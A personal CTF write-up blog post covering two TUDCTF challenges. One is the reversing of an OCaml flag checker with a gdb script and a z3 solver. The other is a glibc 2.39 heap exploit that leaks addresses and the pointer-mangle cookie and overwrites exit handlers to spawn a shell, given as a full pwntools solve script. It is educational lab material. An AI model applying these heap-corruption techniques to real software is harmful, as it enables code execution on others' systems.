tudctf
recommended listening for this post is aoi koi no daidaiiro no hi by masudore
i’m not even a student at tu delft. my dear boyfriend’s friend signed up and sent me some of the chals to do for fun, so here’s two writeups on a rev n a pwn i liked

misc/giovanna’s microwave (1 solve)
it’s an ocaml binary.
giovannas_microwave.exe: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=42a3344430e6a4ca6ae88c5b9ccb9928a4028dbd, for GNU/Linux 3.2.0, stripped
handwaving away around 4 hours of painful, clueless reversing of me just fumbling around blindly we isolate the important checks here, in the evaluate_2083 function:
----------------------------------- code: x86:64 (gdb-native) ----
0x5555557d0963 4889c7 <caml...evaluate_2083+0x23> mov rdi, rax
0x5555557d0966 48897c2410 <caml...evaluate_2083+0x26> mov QWORD PTR [rsp+0x10], rdi
0x5555557d096b 488b5c2408 <caml...evaluate_2083+0x2b> mov rbx, QWORD PTR [rsp+0x8]
*-> 0x5555557d0970 480fb643f8 <caml...evaluate_2083+0x30> movzx rax, BYTE PTR [rbx - 0x8]
0x5555557d0975 488d15b4f63900 <caml...evaluate_2083+0x35> lea rdx, [rip + 0x39f6b4] # 0x555555b70030
0x5555557d097c 48630482 <caml...evaluate_2083+0x3c> movsxd rax, DWORD PTR [rdx + rax * 4]
0x5555557d0980 4801c2 <caml...evaluate_2083+0x40> add rdx, rax
0x5555557d0983 ffe2 <caml...evaluate_2083+0x43> jmp rdx
0x5555557d0985 0f1f00 <caml...evaluate_2083+0x45> nop DWORD PTR [rax]
the checker iterates 112 times, and performs an operation according to these values near rbx:
------------------------------- memory access: $rbx-0x8 = 0x555555c60238 ----
0x555555c60238|+0x0000|+000: 0x0000000000000b02
$rbx 0x555555c60240|+0x0008|+001: 0x0000000000000001
0x555555c60248|+0x0010|+002: 0x000000000000001f
0x555555c60250|+0x0018|+003: 0x0000000000000b00
the value at $rbx-0x8 is an opcode mapping, and the other two values are indices. due to strange ocaml nonsense (i’m still not sure why), the indices need to be integer divided by 2 beforehand (so 0x01 actually becomes 0x00, 0x1f becomes 0xf).
there are six possible values of $rbx-0x8:
- b00 : add
- b01 : subtract
- b02 : multiply
- b03 : divide
- b04 : xor
- b05 : ??? (i actually never figured this one out)
the flag checker operates like so: we read our opcode given the mapping at $rbp-0x8, index into our flag at the specified indices, perform the operation, and then compare against… what exactly?
a further 2 hours of painful annoying reversing through fucking ocaml (WHY IS IT IN OCAML) we isolate the compare check somewhere here in the fun_2710 func:
0x5555557d0c4f 488b1c24 <caml...fun_2710+0x1f> mov rbx, QWORD PTR [rsp]
*-> 0x5555557d0c53 4839d8 <caml...fun_2710+0x23> cmp rax, rbx
0x5555557d0c56 0f94c0 <caml...fun_2710+0x26> sete al
0x5555557d0c59 480fb6c0 <caml...fun_2710+0x29> movzx rax, al
0x5555557d0c5d 488d440001 <caml...fun_2710+0x2d> lea rax, [rax + rax * 1 + 0x1]
0x5555557d0c62 4883c408 <caml...fun_2710+0x32> add rsp, 0x8
0x5555557d0c66 c3 <caml...fun_2710+0x36> ret
rbx is the value we compare to, and rax is the result of our opcode (also due to ocaml nonsense, before we get to this point we do a shl, an inc, and a idiv (which just takes it mod 0x100) on our rax value).
if rax isn’t equal to rbx at any point in time, the program prematurely exits out, i am assuming once again due to ocaml nonsense. anyways so we need to place two breakpoints at both of those checks, dump the values we need, and also we need to set rax = rbx at the cmp check to continue execution
we do this with the following gdb script:
import gdb
mapping = [
'+', '-', '*', '%', '^', '???'
]
class CaptureRbxValues(gdb.Breakpoint):
def __init__(self):
super().__init__("*0x5555557d0c53", internal=True)
self.iteration = 0
self.rbx_values = []
def stop(self):
rbx_value = int(gdb.parse_and_eval("$rbx")) // 2
self.rbx_values.append(rbx_value)
self.iteration += 1
print(f"expected value: {self.iteration}: $rbx = 0x{rbx_value:x} ({rbx_value})")
gdb.execute(f"set $rax = $rbx", to_string=True)
return False # continue silently
class DumpNearbyRbx(gdb.Breakpoint):
def __init__(self):
super().__init__("*0x5555557d0970", internal=True)
def stop(self):
rbx = int(gdb.parse_and_eval("$rbx"))
vals = []
for off in (-8, 0, 8):
addr = rbx + off
val = int(gdb.parse_and_eval(f"*(long*){addr:#x}"))
vals.append(val)
func, op1, op2 = vals
func = mapping[func%0x100]
op1, op2 = op1//2, op2//2
print(f'flag[{op1}] {func} flag[{op2}] % 0x100')
return False
bp_main = CaptureRbxValues()
bp_dump = DumpNearbyRbx()
running this script gives us the following output, which we just dump into z3.
flag[0] * flag[15] % 0x100
expected value: 1: $rbx = 0xf0 (240)
flag[1] ^ flag[24] % 0x100
expected value: 2: $rbx = 0x26 (38)
flag[2] + flag[31] % 0x100
expected value: 3: $rbx = 0x75 (117)
flag[3] * flag[28] % 0x100
expected value: 4: $rbx = 0x9c (156)
flag[4] + flag[8] % 0x100
expected value: 5: $rbx = 0x88 (136)
and below is our z3 script
from z3 import *
s = Solver()
flag = [BitVec(f'flag_{i}', 8) for i in range(56)]
known_prefix = "TUDCTF{"
known_suffix = "}"
for i, char in enumerate(known_prefix):
s.add(flag[i] == ord(char))
s.add(flag[55] == ord(known_suffix))
for i in range(7, 55):
s.add(flag[i] >= 32)
s.add(flag[i] <= 126)
constraints = [
(flag[0] * flag[15], 0xf0),
(flag[1] ^ flag[24], 0x26),
(flag[2] + flag[31], 0x75),
(flag[3] * flag[28], 0x9c),
(flag[4] + flag[8], 0x88),
(flag[5] * flag[42], 0xfa),
(flag[6] + flag[7], 0xc7),
(flag[7] + flag[23], 0x80),
(flag[8] % flag[48], 0x1),
(flag[9] % flag[15], 0x2d),
(flag[10] + flag[33], 0x9b),
(flag[11] % flag[28], 0xa),
(flag[12] + flag[27], 0xa1),
(flag[13] - flag[30], 0xed),
(flag[14] * flag[20], 0x4c),
(flag[15] ^ flag[29], 0x13),
(flag[16] - flag[55], 0xb4),
(flag[17] * flag[19], 0xb5),
(flag[18] + flag[19], 0x92),
(flag[19] * flag[45], 0x1c),
(flag[20] % flag[8], 0x0),
(flag[21] - flag[12], 0x2c),
(flag[22] * flag[18], 0x24),
(flag[23] - flag[31], 0x3),
(flag[24] - flag[37], 0x10),
(flag[25] + flag[5], 0x7a),
(flag[26] - flag[12], 0x34),
(flag[27] + flag[46], 0xcd),
(flag[29] ^ flag[41], 0x6b),
(flag[30] % flag[40], 0x3),
(flag[31] - flag[21], 0xd2),
(flag[34] ^ flag[37], 0x3c),
(flag[35] - flag[29], 0xf3),
(flag[36] + flag[4], 0x85),
(flag[37] ^ flag[53], 0x50),
(flag[38] + flag[24], 0xa3),
(flag[39] % flag[28], 0xc),
(flag[40] - flag[7], 0x28),
(flag[41] - flag[28], 0x0),
(flag[42] * flag[5], 0xfa),
(flag[44] + flag[45], 0xd2),
(flag[45] ^ flag[7], 0x28),
(flag[46] * flag[24], 0xad),
(flag[47] - flag[3], 0xff),
(flag[48] ^ flag[26], 0x54),
(flag[49] * flag[42], 0xbd),
(flag[50] % flag[41], 0x0),
(flag[51] ^ flag[48], 0x7),
(flag[52] - flag[26], 0x6),
(flag[53] * flag[44], 0xea),
(flag[54] + flag[55], 0xe9),
(flag[55] - flag[32], 0x9),
(flag[0] % flag[33], 0x54),
(flag[1] + flag[3], 0x98),
(flag[2] ^ flag[31], 0x75),
(flag[3] * flag[49], 0xe9),
(flag[4] * flag[46], 0x2c),
(flag[5] + flag[10], 0x79),
(flag[6] * flag[35], 0x66),
(flag[7] ^ flag[14], 0x13),
(flag[8] - flag[52], 0xc7),
(flag[9] * flag[29], 0xe7),
(flag[10] - flag[16], 0x2),
(flag[12] + flag[17], 0x9e),
(flag[13] * flag[22], 0xb0),
(flag[14] * flag[2], 0x3c),
(flag[17] ^ flag[40], 0x1f),
(flag[18] - flag[41], 0xff),
(flag[19] + flag[38], 0x8f),
(flag[20] % flag[27], 0x34),
(flag[21] ^ flag[51], 0x6b),
(flag[22] ^ flag[42], 0x13),
(flag[23] - flag[10], 0x1),
(flag[24] ^ flag[28], 0x47),
(flag[25] * flag[42], 0x4c),
(flag[26] + flag[29], 0xc6),
(flag[27] ^ flag[24], 0x1d),
(flag[28] - flag[9], 0xbb),
(flag[29] + flag[28], 0x93),
(flag[30] + flag[21], 0xd6),
(flag[32] % flag[31], 0x12),
(flag[34] * flag[50], 0x98),
(flag[35] ^ flag[26], 0x35),
(flag[36] - flag[37], 0xce),
(flag[37] % flag[32], 0x63),
(flag[39] ^ flag[51], 0x40),
(flag[40] + flag[26], 0xdb),
(flag[41] - flag[45], 0xd0),
(flag[42] + flag[47], 0xa1),
(flag[43] + flag[13], 0x98),
(flag[44] ^ flag[54], 0x2),
(flag[45] ^ flag[54], 0x8),
(flag[46] - flag[18], 0x2c),
(flag[47] % flag[35], 0x42),
(flag[49] % flag[9], 0x63),
(flag[51] - flag[53], 0x1),
(flag[52] + flag[23], 0xa1),
(flag[53] - flag[50], 0xcb),
(flag[54] + flag[55], 0xe9),
(flag[55] + flag[38], 0xad),
]
for expr, expected in constraints:
s.add((expr & 0xFF) == expected)
if s.check() == sat:
m = s.model()
result = ''.join(chr(m[flag[i]].as_long()) for i in range(56))
print(f"Flag: {result}")
anyways run it to get the flag
Flag: TUDCTF{L4y3r3d_L1k3_4_L4s4gn4_w1th_R1c0tt4_4nd_B3ch4m3l}
pwn/adjacent chonks (0 solves, upsolved)
recommended listening for this part is pierce the veil’s bedless.

heap chall!
navi@curette (~/Downloads/chonks/files) > checksec --file=adjacent_chonks
[*] '/home/navi/Downloads/chonks/files/adjacent_chonks'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'$ORIGIN'
SHSTK: Enabled
IBT: Enabled
Stripped: No
hey look at that it’s no relro on the binary wow (<—- CLUELESS)
anyways so no relro makes this a lot easier to solve, but i did not realize and solved it as if it were full relro. good thing about this is that it introduced me to a lot of neat techniques
the primitive is here:
void catch() {
int idx = get_chonk_index();
if(chonks[idx] != NULL) {
puts("You already have a chonk here!");
return;
}
int size;
printf("How big of a chonk do you want to catch? ");
const char* name = names[rand() % NUM_NAMES];
const char* breed = breeds[rand() % NUM_BREEDS];
chonks[idx] = malloc(size);
chonk_sizes[idx] = size;
printf("You put an empty cardboard box in front of your house and a second later you see a chonk inside!\nIt's %s, a %s!\nWhat does %s look like? ", name, breed, name);
((const char**)chonks[idx])[0] = name;
((const char**)chonks[idx])[1] = breed;
read(0, chonks[idx] + sizeof(const char*) * 2, size);
}
we malloc some size. the first 8 bytes go to a char* pointer name, the second 8 bytes go to a char* pointer breed and we write size bytes from our input. all the pointers are defined in the binary.
note that we’re actually writing 0x10 + size bytes to that chunk, so we can overflow into adjacent chunks, which is our primitive. we can overflow into an adjacent chunk’s char* pointer, which is essentially arbitrary read. first things first is that we can read the pointers themselves, which functions as our PIE leak.
we do this by allocating a chunk of size 0x18, then another of size 0x10. reading from the first chunk will call this function:
void admire() {
int idx = get_chonk_index();
if(chonks[idx] == NULL) {
puts("You don't have any chonks here...");
return;
}
const char* name = ((const char**)(chonks[idx]))[0];
const char* breed = ((const char**)(chonks[idx]))[1];
printf("You admire %s the %s. ", name, breed);
write(1, chonks[idx] + sizeof(const char*) * 2, chonk_sizes[idx]);
}
gef> vis
0x0000000000000000 0x0000000000000291 | ................ |
0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x0000000000000000 0x0000000000000021 | ........!....... |
0x00005557aa630037 0x00005557aa630051 | 7.c.WU..Q.c.WU.. |
this one -> 0x000000000000000a 0x0000000000000021 | ........!....... |
0x00005557aa630015 0x00005557aa630060 | ..c.WU..`.c.WU.. |
0x000000000000000a 0x0000000000020d31 | ........1....... | <- top
0x0000000000000000 0x0000000000000000 | ................ |
if we try to read the first chunk, we’ll actually read the first 0x18 bytes starting from the indicated qword, hence dumping a pointer to the binary.
You admire Pwny the Turkish Angora.
\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x15\x00c\xaaWU\x00\x00
What would you like to do now?
this pointer is always a fixed offset from the binary base, hence this is our pie leak (we can determine it’s exactly 8192 bytes from the start)
malloc(0, 0x10, '')
malloc(1, 0x10, '')
l = leak(0)
pie_leak = int('0x' + l[16:-1][::-1].hex() + '00', 16) - 8192
elf.address = pie_leak
print(f'{hex(pie_leak) = }')
next we want a heap leak so we can tcache poison. the challenge is on libc 2.39, so we’ll have to account for pointer mangling.
our heap leak can be obtained in a somewhat convoluted way. first, we malloc three chunks of size 0x18, malloc a guard chunk to prevent consolidation w the top chunk, and then free all three allocated chunks.
then, we malloc again. keep in mind with our write-on-malloc we can now overwrite the adjacent chunk’s metadata, so we allocate to modify the 2nd chunk’s size to be bigger.
0x000000000000000a 0x0000000000000021 | ........!....... |
0x000056221e9f5015 0x000056221e9f503c | .P.."V..<P.."V.. |
[the chunk below is now size 0x51]
0x4141414141414141 0x0000000000000051 | AAAAAAAAQ....... |
0x0000000562248c0a 0x3587161aa29f2f40 | ..$b....@/.....5 | <- tcache[idx=0,sz=0x20][1/2]
[we never claim this chunk again]
[because it is freed, it contains heap ptrs]
[this is what we want to read]
0x000000000000000a 0x0000000000000031 | ........1....... |
0x0000000562248cae 0x3587161aa29f2f40 | ..$b....@/.....5 | <- tcache[idx=1,sz=0x30][1/1]
0x000000000000000a 0x0000000000000000 | ................ |
then, we malloc our ‘larger’ corrupted chunk. keep in mind we’d need to malloc the previous size, not the new size, because it’s still in the bin for that size.
note how this bin is for size 0x20
tcachebins[idx=0, size=0x20, @0x55d54371e090]: fd=0x55d54371e300 count=1
but this chunk is size 0x50
-> Chunk(base=0x55d54371e2f0, addr=0x55d54371e300, size=0x50, flags=PREV_INUSE, fd=0x00055d54370a(=0x000000000014), corrupted)
-> 0x14 [corrupted chunk]
the initial size we pass to the binary dictates the size of our read, so we will need to actually put this chunk in the correct bin. we just do that by claiming and freeing it again.
size 0x50 bin
tcachebins[idx=3, size=0x50, @0x559bfcc180a8]: fd=0x559bfcc18300 count=1
size 0x50 chunk
-> Chunk(base=0x559bfcc182f0, addr=0x559bfcc18300, size=0x50, flags=PREV_INUSE, fd=0x000559bfcc18(=0x000000000000))
now, once we read, we’ll read the heap pointers in the freed third chunk.
[DEBUG] Received 0xc4 bytes:
00000000 59 6f 75 20 61 64 6d 69 72 65 20 54 61 62 62 79 │You │admi│re T│abby│
00000010 20 74 68 65 20 53 69 6e 67 61 70 75 72 61 2e 20 │ the│ Sin│gapu│ra. │
00000020 0a 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 │····│····│1···│····│
00000030 b8 5c 79 55 05 00 00 00 62 97 da 9d 7a 2a eb 9a │·\yU│····│b···│z*··│
00000040 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000050 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 │····│····│1···│····│
00000060 0a 57 68 61 74 20 77 6f 75 6c 64 20 79 6f 75 20 │·Wha│t wo│uld │you │
00000070 6c 69 6b 65 20 74 6f 20 64 6f 20 6e 6f 77 3f 0a │like│ to │do n│ow?·│
00000080 31 29 20 43 61 74 63 68 20 61 20 6e 65 77 20 63 │1) C│atch│ a n│ew c│
00000090 68 6f 6e 6b 0a 32 29 20 41 64 6d 69 72 65 20 61 │honk│·2) │Admi│re a│
000000a0 20 63 68 6f 6e 6b 0a 33 29 20 4c 65 74 20 61 20 │ cho│nk·3│) Le│t a │
000000b0 63 68 6f 6e 6b 20 67 6f 0a 30 29 20 45 78 69 74 │chon│k go│·0) │Exit│
000000c0 0a 0a 3e 20 │··> │
000000c4
b'\x00\x00\x00\x00\x00\x00\x001\x00\x00\x00\x00\x00\x00\x00\xb8\\yU\x05\x00\x00\x00b\x97\xda\x9dz*\xeb\x9a\n'
hex(heap_leak) = '0x555795cb8000', hex(pie_leak) = '0x55578c71e000'
now we essentially have arbitrary read and arbitrary write. keep in mind though, our arbitrary write is limited to size 0x40, and it’s quite finicky because the program automatically populates the first two qwords of our write with nonsense pointers.
let’s keep leaking. we need a libc address. because we already have a PIE leak, we can just whack the GOT:
def read(address):
malloc(7, 0x38, '')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(address)
malloc(6, 0x38, payload)
p.sendlineafter(b'> ', e(2))
p.sendlineafter(b'? ', e(7))
z = p.recvline()
i = z.split(b' ')[2][::-1].hex()
free(7)
free(6)
return i
leak = read(elf.got['printf'] + 0x1)
printf = int('0x' + leak + '00', 16)
libc.address = printf - libc.sym['printf']
print(
f'{hex(libc.address) = }'
)
a few considerations: typically function pointers have a nullbyte, so we increment our write address by one to avoid the nullbyte. otherwise, it’s the same nonsense with carefully overwriting adjacent chunks, making sure the metadata is unharmed, then just reading.
[DEBUG] Received 0xc1 bytes:
00000000 59 6f 75 20 61 64 6d 69 72 65 20 01 [c6 c8 eb 7f] <- hey thats our leak │You │admi│re ·│····│
00000010 20 74 68 65 20 54 75 72 6b 69 73 68 20 41 6e 67 │ the│ Tur│kish│ Ang│
00000020 6f 72 61 2e 20 0a 00 00 00 00 00 00 00 00 00 00 │ora.│ ···│····│····│
(from here, an astute solver noticing no relro on the binary will just do GOT override by overwriting free with system), saving a lot of blood sweat and tears.
but now we have the classic www2exec situation, the two main ones are FSOP and exit handler override, but FSOP requires a larger write than what we have access to, and exit handler override just needs an arb read to leak a specific value.
background on exit handlers
there’s a struct that contains functions that are executed when we exit from a program. in the bata24 fork of GEF, we can simply run dtor and check:
-------------------------- tls_dtor_list: registered by __cxa_thread_atexit_impl() --------------------------
[+] Probably only exists in glibc
[!] Not found tls_dtor_list
------------------------------ __exit_funcs: registered by atexit(), on_exit() ------------------------------
__exit_funcs: 0x7febc8e03680[rw-]: 0x7febc8e04fc0[rw-]
-> next: 0x7febc8e04fc0[rw-]: 0x000000000000
idx: 0x7febc8e04fc8[rw-]: 0x000000000001
fns[0x0]: 0x7febc8e04fd0[rw-]: flavor: 0x000000000004
func: 0xd72bb4100d0d951a (=0x7febc8eb1380) [valid]
arg: 0x000000000000
dso_handle: 0x000000000000
----------------------------- __quick_exit_funcs: registered by at_quick_exit() -----------------------------
__quick_exit_funcs: 0x7febc8e03678[rw-]: 0x7febc8e04b80[rw-]
-> next: 0x7febc8e04b80[rw-]: 0x000000000000
idx: 0x7febc8e04b88[rw-]: 0x000000000000
-------------------------------------------- .fini_array section --------------------------------------------
/home/navi/Downloads/chonks/files/adjacent_chonks
-> 0x55ac97341480[rw-]: 0x55ac9733f280
----------------------------------------------- .fini section -----------------------------------------------
/home/navi/Downloads/chonks/files/adjacent_chonks
-> 0x55ac9733f874
the key part here is __exit_funcs -> fns[0x0] -> func. we’ll see that they also very nicely have a field that corresponds to an argument, meaning we don’t need to resort to (very finicky) one gadgets in modern libc.
let’s look at the actual struct where these are defined:
gef> p initial
$2 = {
next = 0x0,
idx = 0x1,
fns = {
[0x0] = {
flavor = 0x4,
func = {
at = 0xd72bb4100d0d951a,
on = {
fn = 0xd72bb4100d0d951a,
arg = 0x0
},
cxa = {
fn = 0xd72bb4100d0d951a,
arg = 0x0,
dso_handle = 0x0
...
(note that i have an unstripped version of libc, which exports symbols like initial).
and let’s look at the structure of the qwords, too:
gef> x/8x &initial
0x7febc8e04fc0 <initial>: 0x0000000000000000 0x0000000000000001
0x7febc8e04fd0 <initial+16>: 0x0000000000000004 0xd72bb4100d0d951a
0x7febc8e04fe0 <initial+32>: 0x0000000000000000 0x0000000000000000
0x7febc8e04ff0 <initial+48>: 0x0000000000000000 0x0000000000000000
so we just want to allocate to this initial area, overwrite the 4th qword (our func) ptr and the 5th qword (which corresponds to arg).
however keep in mind that due to the write-on-malloc we’d actually have to allocate before the initial struct, so the garbage char* ptrs don’t ruin the fragile struct (thankfully, the two qwords before this struct are null).
the function pointers in this struct are encrypted (not unlike fd ptrs in tcache) w a certain value called the pointer mangle cookie. the encryption is as follows: a right rotate by 17, then xor with the cookie.
once again, similarly to tcache poisoning, we’ll need to recreate this encryption if we want the program to parse our written pointers as intended. the problem is actually leaking the cookie, though, because it lies in the TLS, which is not in libc, or the binary, or even ld.
we need to chain multiple reads to get a pointer in TLS. first, we need to find a pointer to ld within libc, then a pointer to TLS within ld. the bata24 fork of gef is once again extremely helpful:
gef > scan libc ld
[+] Searching for addresses in 'libc' that point to 'ld'
libc.so.6: 0x00007febc8e02c08 <_dl_find_dso_for_object@got.plt> -> 0x00007febc8eb8fe0 <_dl_find_dso_for_object> -> 0x058b4855fa1e0ff3
libc.so.6: 0x00007febc8e02c40 <_dl_deallocate_tls@got.plt> -> 0x00007febc8ec0830 <_dl_deallocate_tls> -> 0xe5894855fa1e0ff3
libc.so.6: 0x00007febc8e02c48 <__tls_get_addr@got.plt> -> 0x00007febc8ec3820 <__tls_get_addr> -> 0x148b4864fa1e0ff3
libc.so.6: 0x00007febc8e02c70 <_dl_signal_error@got.plt> -> 0x00007febc8ead250 <_dl_signal_error> -> 0xd43d8055fa1e0ff3
just pick your favorite, i picked _dl_signal_error:
malloc(7, 0x38, '')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(libc.got['_dl_signal_error'])
malloc(6, 0x38, payload)
p.sendlineafter(b'> ', e(2))
p.sendlineafter(b'? ', e(8))
ld_leak = int('0x' + p.recvline().split(b' ')[2][::-1].hex(), 16) - 0x1250
free(7);
free(6);
and then to chain, we do the same nonsense:
gef> scan ld tls
[+] Searching for addresses in 'ld' that point to 'tls'
ld-linux-x86-64.so.2: 0x00007fde7114c3a0 -> 0x00007fde7110c1e0 -> 0x00007fde70e00000 -> 0x03010102464c457f
ld-linux-x86-64.so.2: 0x00007fde7114dad0 <_rtld_global_ro+0x30> -> 0x00007fde7110e7c0 -> 0x00007fde7114f2e0 -> 0x000055873b722000 -> ...
ld-linux-x86-64.so.2: 0x00007fde7114dd90 <_rtld_global_ro+0x2f0> -> 0x00007fde7110e1c0 -> 0x00007fde7110e000 -> 0x00007fde7110e050 -> ...
ld-linux-x86-64.so.2: 0x00007fde7114e020 <_rtld_global+0x20> -> 0x00007fde7110e250 -> 0x00007fde70e00000 -> 0x03010102464c457f
until we can finally read the cookie, which is a fixed offset from the TLS base. a really handy tool here is just typing tls to verify our leaks are correct.
malloc(7, 0x38, '')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(ld_leak + 0x363a0)
malloc(6, 0x38, payload)
p.sendlineafter(b'> ', e(2))
p.sendlineafter(b'? ', e(8))
tls_base = int('0x' + p.recvline().split(b' ')[2][::-1].hex(), 16) - 0xbb10
print(f"{hex(tls_base) = }")
free(7);
free(6);
malloc(7, 0x38, '')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(tls_base + 0x30)
malloc(6, 0x38, payload)
p.sendlineafter(b'> ', e(2))
p.sendlineafter(b'? ', e(8))
cookie = int('0x' + p.recvline().split(b' ')[2][::-1].hex(), 16)
print(f"{hex(cookie) = }")
these leaks give us:
hex(heap_leak) = '0x55ba0e771000', hex(pie_leak) = '0x55b9ff755000'
hex(libc.address) = '0x7f996e800000'
hex(ld_leak) = '0x7f996eb3a000'
hex(tls_base) = '0x7f996eb2f740'
hex(cookie) = '0xa9487aafeceac801'
and verifying w/ the tls command:
------------------------------------ TLS ------------------------------------
0x7f996eb2f740|+0x0000|+000: 0x00007f996eb2f740 -> [loop detected]
0x7f996eb2f748|+0x0008|+001: 0x00007f996eb300e0 -> 0x0000000000000001
0x7f996eb2f750|+0x0010|+002: 0x00007f996eb2f740 -> [loop detected]
0x7f996eb2f758|+0x0018|+003: 0x0000000000000000
0x7f996eb2f760|+0x0020|+004: 0x0000000000000000
0x7f996eb2f768|+0x0028|+005: 0xb82aa6360b33fa00 <- canary
0x7f996eb2f770|+0x0030|+006: 0xa9487aafeceac801 <- PTR_MANGLE cookie
0x7f996eb2f778|+0x0038|+007: 0x0000000000000000
0x7f996eb2f780|+0x0040|+008: 0x0000000000000000
0x7f996eb2f788|+0x0048|+009: 0x0000000000000000
0x7f996eb2f790|+0x0050|+010: 0x0000000000000000
0x7f996eb2f798|+0x0058|+011: 0x0000000000000000
0x7f996eb2f7a0|+0x0060|+012: 0x0000000000000000
0x7f996eb2f7a8|+0x0068|+013: 0x0000000000000000
0x7f996eb2f7b0|+0x0070|+014: 0x0000000000000000
0x7f996eb2f7b8|+0x0078|+015: 0x0000000000000000
neat! from here it’s trivial, we just write our needed values to that dtor struct:
print(f'{hex(libc.sym['initial']) = }')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(ptr_mangle ^ libc.sym['initial'] - 0x10)
malloc(6, 0x38, payload) # <- overwrite fd
malloc(7, 0x38, '')
malloc(8, 0x38, '')
def rol64(value: int, shift: int) -> int:
shift &= 63
return ((value << shift) | (value >> (64 - shift))) & ((1 << 64) - 1)
mangled_func = rol64(libc.sym['system'] ^ cookie, 0x11)
bin_sh = next(libc.search(b'/bin/sh'))
payload = p64(0) + p64(1) + p64(4) + p64(mangled_func) + p64(bin_sh)
malloc(9, 0x38, payload)
we can verify that the struct is populated correctly at runtime:
gef> dtor
---------------------------------- tls_dtor_list: registered by __cxa_thread_atexit_impl() ----------------------------------
[+] Probably only exists in glibc
[!] Not found tls_dtor_list
-------------------------------------- __exit_funcs: registered by atexit(), on_exit() --------------------------------------
__exit_funcs: 0x7fb49c003680[rw-]: 0x7fb49c004fc0[rw-]
-> next: 0x7fb49c004fc0[rw-]: 0x000000000000
idx: 0x7fb49c004fc8[rw-]: 0x000000000001
fns[0x0]: 0x7fb49c004fd0[rw-]: flavor: 0x000000000004
func: 0x84a88fe9db3e05be (=0x7fb49be58750 <system>) [valid]
arg: 0x7fb49bfcb42f (/bin/sh)
now, all we need to do is just trigger an exit and get our shell.
What would you like to do now?
1) Catch a new chonk
2) Admire a chonk
3) Let a chonk go
0) Exit
> $ 0
Bye!
$ whoami
navi
$
full solvescript for posterity
from pwn import *
context.binary = elf = ELF("./adjacent_chonks")
libc = ELF("./libc.so.6")
context.terminal = 'xterm'
p = process()
gdb.attach(p)
e = lambda x: str(x).encode() if type(x) in [str, int] else x
def chunk(leak):
for idx, i in enumerate(leak):
print(idx, hex(i))
def malloc(idx: int, size: int, write: str):
p.sendlineafter(b'> ', e(1))
p.sendlineafter(b'? ', e(idx))
p.sendlineafter(b'? ', e(size))
p.sendlineafter(b'? ', e(write))
def free(idx: int):
p.sendlineafter(b'> ', e(3))
p.sendlineafter(b'? ', e(idx))
def leak(idx: int):
p.sendlineafter(b'> ', e(2))
p.sendlineafter(b'? ', e(idx))
p.recvline()
return p.recvline()
# PIE leak
malloc(0, 0x10, '')
malloc(1, 0x10, '')
free(0)
malloc(0, 0x18, '')
l = leak(0)
pie_leak = int('0x' + l[16:-1][::-1].hex() + '00', 16) - 8192
elf.address = pie_leak
print(f'{hex(pie_leak) = }')
malloc(2, 0x18, '')
malloc(3, 0x18, '')
malloc(4, 0x20, '')
malloc(5, 0x20, '')
free(4)
free(3)
free(2)
malloc(2, 0x18, b'A' * 0x08 + p64(0x51))
malloc(3, 0x10, '')
free(3)
malloc(3, 0x40, '')
z = leak(3)
print(z)
heap_leak = int('0x' + z[19:14:-1].hex(), 16) << 12
ptr_mangle = heap_leak >> 12
print(
f'{hex(heap_leak) = }, {hex(pie_leak) = }'
)
free(5)
free(4)
free(3)
free(2)
malloc(6, 0x38, '')
malloc(7, 0x38, '')
malloc(8, 0x38, '')
malloc(9, 0x38, '')
malloc(2, 0x38, '')
free(6)
free(7)
def read(address):
malloc(7, 0x38, '')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(address)
malloc(6, 0x38, payload)
p.sendlineafter(b'> ', e(2))
p.sendlineafter(b'? ', e(7))
z = p.recvline()
i = z.split(b' ')[2][::-1].hex()
free(7)
free(6)
return i
leak = read(elf.got['printf'] + 0x1)
printf = int('0x' + leak + '00', 16)
libc.address = printf - libc.sym['printf']
print(
f'{hex(libc.address) = }'
)
malloc(7, 0x38, '')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(libc.got['_dl_signal_error'])
malloc(6, 0x38, payload)
p.sendlineafter(b'> ', e(2))
p.sendlineafter(b'? ', e(8))
ld_leak = int('0x' + p.recvline().split(b' ')[2][::-1].hex(), 16) - 0x1250
free(7);
free(6);
print(f"{hex(ld_leak) = }")
malloc(7, 0x38, '')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(ld_leak + 0x363a0)
malloc(6, 0x38, payload)
p.sendlineafter(b'> ', e(2))
p.sendlineafter(b'? ', e(8))
tls_base = int('0x' + p.recvline().split(b' ')[2][::-1].hex(), 16) - 0xbb10
print(f"{hex(tls_base) = }")
free(7);
free(6);
malloc(7, 0x38, '')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(tls_base + 0x30)
malloc(6, 0x38, payload)
p.sendlineafter(b'> ', e(2))
p.sendlineafter(b'? ', e(8))
cookie = int('0x' + p.recvline().split(b' ')[2][::-1].hex(), 16)
print(f"{hex(cookie) = }")
free(9)
free(8)
free(7)
free(6)
print(f'{hex(libc.sym['initial']) = }')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(ptr_mangle ^ libc.sym['initial'] - 0x10)
malloc(6, 0x38, payload) # <- overwrite fd
malloc(7, 0x38, '')
malloc(8, 0x38, '')
def rol64(value: int, shift: int) -> int:
shift &= 63
return ((value << shift) | (value >> (64 - shift))) & ((1 << 64) - 1)
mangled_func = rol64(libc.sym['system'] ^ cookie, 0x11)
bin_sh = next(libc.search(b'/bin/sh'))
payload = p64(0) + p64(1) + p64(4) + p64(mangled_func) + p64(bin_sh)
malloc(9, 0x38, payload)
p.interactive()
p.sendline('ccat flag.txt')
p.interactive()